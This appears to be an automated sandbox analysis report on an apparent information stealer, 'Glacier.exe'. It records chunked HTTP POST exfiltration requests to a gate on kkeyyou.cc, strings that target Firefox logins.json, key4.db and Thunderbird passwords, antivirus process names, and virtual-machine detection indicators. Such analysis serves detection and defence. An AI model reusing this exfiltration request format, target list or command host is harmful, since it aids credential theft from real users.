20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/chunk HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Chunk: browsers_aggX-Chunk-Index: 6X-Session: b94915774a538829a16bb9ee164367d2X-Total: 20X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 1657Host: kkeyyou.cc" Contains base62 string in header "b94915774a538829a16bb9ee164367d2X" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base62 string in header "9e7a73d3813889c19efb38553cd57d2aa" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc" Contains base62 string in header "b560ba735de559bca77ea00fb132021Co" in header "POST /gate/complete HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Microsoft-CryptoAPI/10.0X-Build-ID: 0bc758f6X-HWID: 4C319440X-Session: b94915774a538829a16bb9ee164367d2X-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021Content-Length: 8Host: kkeyyou.cc"54:T40d,file/memory contains long string with (Indicator: "GetUserName"; File: "Glacier.exe") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "Glacier.exe") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "Glacier.exe") file/memory contains long string with (Indicator: "LookupAccountName"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "Glacier.exe") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "Glacier.exe") Found reference to API "RelaRelaGetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "laGetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp")55:T873,Found string "chacha8" (Indicator: "chacha"; File: "Glacier.exe") Found string "encoding/base64" (Indicator: "base64"; File: "Glacier.exe") Found string "*base64.Encoding" (Indicator: "base64"; File: "Glacier.exe") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "Glacier.exe") file/memory contains long string with (Indicator: "aes"; File: "Glacier.exe") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.leUint64" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "Glacier.exe") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "Glacier.exe") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "Glacier.exe") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "Glacier.exe") file/memory contains long string with (Indicator: "base64"; File: "akg_362d94c6_9.tmp") file/memory contains long string with (Indicator: "aes"; File: "akg_362d8eef_5.tmp") file/memory contains long string with (Indicator: "base64"; File: "akg_362d8ed0_4.tmp") Found string "aeshashbody" (Indicator: "aes"; File: "Glacier.exe") Found string "encoding/base64.init" (Indicator: "base64"; File: "Glacier.exe") Found string "encoding/base64.NewEncoding" (Indicator: "base64"; File: "Glacier.exe") Found string "encoding/base64.Encoding.WithPadding" (Indicator: "base64"; File: "Glacier.exe") Found string "encoding/base64.(*Encoding).Encode" (Indicator: "base64"; File: "Glacier.exe") Found string "encoding/base64.(*Encoding).EncodeToString" (Indicator: "base64"; File: "Glacier.exe") Found string "encoding/base64.(*Encoding).EncodedLen" (Indicator: "base64"; File: "Glacier.exe")56:Tb80,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "Glacier.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "Glacier.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "Glacier.exe") file/memory contains long string with (Indicator: "Module32First"; File: "Glacier.exe") file/memory contains long string with (Indicator: "Process32First"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "Glacier.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "Glacier.exe") Found reference to API "ProcessList.txt" (Indicator: "ProcessList"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API "266,6332,3125,,Process32NextW,kernel32.dll,"00:43:36.328",RX=0,PX=0" (Indicator: "Process32Next"; Source: "00000000-00001176.00000000.167448.7B7A0000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "K32EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")57:T67f,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API "runtime.getGetProcAddress" (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "Glacier.exe") Found reference to API "ssssGeGetCGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "lay GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetProcAddressA" (Indicator: "GetProcAddress"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")58:Td73,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "Glacier.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "Glacier.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "Glacier.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API "RelaGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "GetTempPathARelaGetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetFileAttributesExA" (Indicator: "GetFileAttributes"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")59:Tcca,Found string "secret" (Indicator: "secret"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "%s\1password\data" (Indicator: "password"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "Mails/Thunderbird/passwords.txt" (Indicator: "password"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "shared_secret" (Indicator: "secret"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The peer tried to resume without a correct extended_master_secret extension" (Indicator: "secret"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The peer tried to resume with an unexpected extended_master_secret extension" (Indicator: "secret"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "passwordRequired" (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found string "The security password entered is incorrect." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "New password entered incorrectly. Please try again." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Old password entered incorrectly. Please try again." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to import. Invalid MAC. Incorrect password or corrupt file." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to import. Incorrect privacy password." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "Unable to import. Only password integrity and privacy modes supported." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The password expired." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "The password is locked." (Indicator: "password"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "# SSL/TLS secrets log file, generated by NSS" (Indicator: "secret"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "passwordH3" (Indicator: "password"; Source: "00000000-00001176.00000001.167729.79A91000.00000020.mdmp") Found string "extended master secret" (Indicator: "secret"; Source: "00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found string "password-check" (Indicator: "password"; Source: "00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00001176.00000001.167729.79ACB000.00000002.mdmp")5a:T704,Found string "%s\logins.json" (Indicator: "logins.json"; in Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "Browser/%s/%s/logins.json" (Indicator: "logins.json"; in Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "%s\key4.db" (Indicator: "key4.db"; in Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "Browser/%s/%s/key4.db" (Indicator: "key4.db"; in Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "sers\VXQ8XVw\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\logins.json" (Indicator: "logins.json"; in Source: "00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found string "C:\Users\VXQ8XVw\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db" (Indicator: "key4.db"; in Source: "00000000-00001176.00000001.167729.7BC03000.00000004.mdmp") Found string "C:\Users\VXQ8XVw\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db-journal" (Indicator: "key4.db"; in Source: "00000000-00001176.00000001.167729.7BC03000.00000004.mdmp") Found string "C:\Users\VXQ8XVw\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\key4.db-wal" (Indicator: "key4.db"; in Source: "00000000-00001176.00000001.167729.7BC03000.00000004.mdmp")5b:Tbb0,file/memory contains long string with (Indicator: "CopySid"; File: "Glacier.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "Glacier.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "Glacier.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "Glacier.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "Glacier.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "Glacier.exe") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")5c:T5b9,Found string "IfaceIndir" (Indicator: "iface"; File: "Glacier.exe") Found string "avguard.exe" (Indicator: "avguard"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "avgnt.exe" (Indicator: "avgnt"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "navapsvc.exe" (Indicator: "navapsvc"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "Norton" (Indicator: "norton"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "mcshield.exe" (Indicator: "mcshield"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found string "McAfee" (Indicator: "mcafee"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp")5d:T868,"Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "Glacier.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "")5e:T3130,"2170330611980540021910900410841180920480190061332462131932081330401580041601982190632162010831351581582292142190211062370551101450930762232261331622520222212311032410881542331480892212452142220802471251440230590482550591611730800561521190991061691300561160551000480530912231991621621061470842021780532111790171462452552371670480871462241260051672151821010720331340121512201402062410330922250631170191412101121731930270571730890380401881812481621302211762380070630381180891512441861660542240122520710911221491681610970602172512182250871301852541390131921661290362130381871750370021140121042182072121012520002211161151470071321380910160490910701410570890922290870771502080001710951260271520281162211141281471281740330451851871761382291930411991521251460710361661580260861710550401202452330050562212521661600710551801611032120761172311420821390350000471670652090471271312251761100640250671200901791001102401050512500200070052001812451582131001221262040160571262350091282460711082231182122210591752020991790050910260740102230850" (Indicator: "005056") "2713914801124410018204512918121918101215607403719210808802203701110812312502122312314202921101219720006714617122622814012009408111522714906219623500005513201216901103304013925210601725505716425218007220304912603820410401704903610019724018601006225113117323118106915317211201910610513014000414614403813413706313504902001118020203208217519720600505819825017106411408521721904817613812122825402807200225415807025407600115400204100601919213525314804614322401110718005202523000919601810922322519104220316013513008414203801412313702615915803112118624623705811605502603111711700708710213504619204606713011821320001300505608422821122514325500814123105010224220724304025509121117620514419515408520019601112422016600325520114323723818314100419906717904004121616518522401520807208615402701122115403410015112802509803124613613714719400013401819607312521512802004109125418200712419802718016809600711706403809704805005015112807603022320225323117607415702419506303812012317618919321822321912800019121012800707724712709112502520424808613309" (Indicator: "005056") "0819614515413322415408108620511724313519511521708109306705306711009421715702301201110509700313221009607516011123907708109303215701707121615700301903715509219510719111814825503420206313100320902707204701003905304101007523724919510318216419502024913405601019508505007015620507320907402613415321124708510711500111307709102412005322505822212618802105200012317512409611709605507813400724921619414904817100400706812413009920213109119812010902003724813416916004724109804925401324110517911922003614910714813909118006612109605511224908512809311819115018708921515921622303721107505300503500012009501817201917011406421820106900113024913520014705210114416003101521522712905623309702810108922818820616220819400824018012814411312621516614207104512503417607521017107015404217108002713115313700309217910808518005607825222315608019521415618806423612315209214604811208018704619606816513103310020523425025220113503115923012616900905816507302523211220422002208321711314713807807919622524800514921507902500915905607518514000602001510421021201304" (Indicator: "080027") "5184092151037054083037033008228103023230217102153062179216054144115002179048005166216094131132012144087219054082100251058015000183100167164151074211236171072175155203098150086133151006219072120165188211067040229179062034172209236071029068049174153227162113099108060178198231193095105019148246043048170189099078193172117106132123097051075013151003159033222135132014085145061104174106194175228196114024037191122032138015053165207069171045202188116250218197211184073090186232187029109213066034000224202079026119069022151159155173248169146181177143210070039068153211039159013146126230135029067030134162019081249143076228152016126153201059209069188073198098127157162159218082241231094134001199065105195017111242206231219020092221207096162192163022098209149247195147231179023084107194218242004005056203072013039208064104131149048166079042236118067109044215141063074184121234198208041229032225177010189252071143229176254072205137001200069147220180095127112160208070183070073139255229075169048111213066014071177228062094226220240167" (Indicator: "005056") "0123072217033109220084183178190074054012246044018085222253197167126097216168133037057013237217186128049176028000218181252190151208186165143254195153079226135146064193062074199051242056002174168056187075094078120011232097080027037077190074133175134134142165025107167046000097047225108058111110171115055104071065128160108011106196049236133152073171151140112247220242113137043168105247029234091065234175111099200121122079066050181215010093190008142026092164234010077115151161228161162225236011135133240119035068050042032202115054020056252024142179134160014012188088055024194193157169214141235077228001103142179097191159227194223094183221252018002047195038073094100118204089014200109080090155043046044238038081112149244085058243250040012039142248191066051170109153006192005011163235167225209153194105071074115152125000088218186246162221119038021155205135242118181188133104055120172041045161210116029077176167009193146253034149247131145166063141148199086255180025234073070055079160153116071169244109023117052137146044056240057159" (Indicator: "080027") "9811217807416607713316613604110522720315020223711403812203705306822609023307523721703516811918917313421421425404607803823807017304513611525123008314613222219516707319814122512411410905704423606617517102518201423802220305707712515305213401022301408009517714222710918600717019317000222323923116313606201212604300204621812506023500503702300217602516809813409820613917812716707606109625211525513120607808003724019806417222813708108105919307714215516521823404720012109817517718807511309222406501312510303512806220601709807112823707216122810422420816019601021914504406702620121008002708615009207616723925423906825416323424017120608308121906308307505715124117515320014221900404804505813417808311708523621102802100822806201307103621805019202312505618516604507424208420620022910616116117508115000411808712420807703815614319623416604221120405621611115011718108717702219523318302808112515802700121401020606323203107901506313720003208407515704918710621813711023603204909216419408108204521922504411521409808706914100718913403115004213801" (Indicator: "080027") "217033061198054002191090041084118092048019006133246213193208133040158004160198219063216201083135158158229214219021106237055110145093076223226133162252022221231103241088154233148089221245214222080247125144023059048255059161173080056152119099106169130056116055100048053091223199162162106147084202178053211179017146245255237167048087146224126005167215182101072033134012151220140206241033092225063117019141210112173193027057173089038040188181248162130221176238007063038118089151244186166054224012252071091122149168161097060217251218225087130185254139013192166129036213038187175037002114012104218207212101252000221116115147007132138091016049091070141057089092229087077150208000171095126027152028116221114128147128174033045185187176138229193041199152125146071036166158026086171055040120245233005056221252166160071055180161103212076117231142082139035000047167065209047127131225176110064025067120090179100110240105051250020007005200181245158213100122126204016057126235009128246071108223118212221059175202099179005091026074010223085" (Indicator: "005056") "271391480112441001820451291812191810121560740371921080880220370111081231250212231231420292110121972000671461712262281401200940811152271490621962350000551320121690110330401392521060172550571642521800722030491260382041040170490361001972401860100622511311732311810691531721120191061051301400041461440381341370631350490200111802020320821751972060050581982501710641140852172190481761381212282540280720022541580702540760011540020410060191921352531480461432240111071800520252300091960181092232251910422031601351300841420380141231370261591580311211862462370581160550260311171170070871021350461920460671301182132000130050560842282112251432550081412310501022422072430402550912111762051441951540852001960111242201660032552011432372381831410041990671790400412161651852240152080720861540270112211540341001511280250980312461361371471940001340181960731252151280200410912541820071241980271801680960071170640380970480500501511280760302232022532311760741570241950630381201231761891932182232191280001912101280070772471270911250252042480861330" (Indicator: "005056") 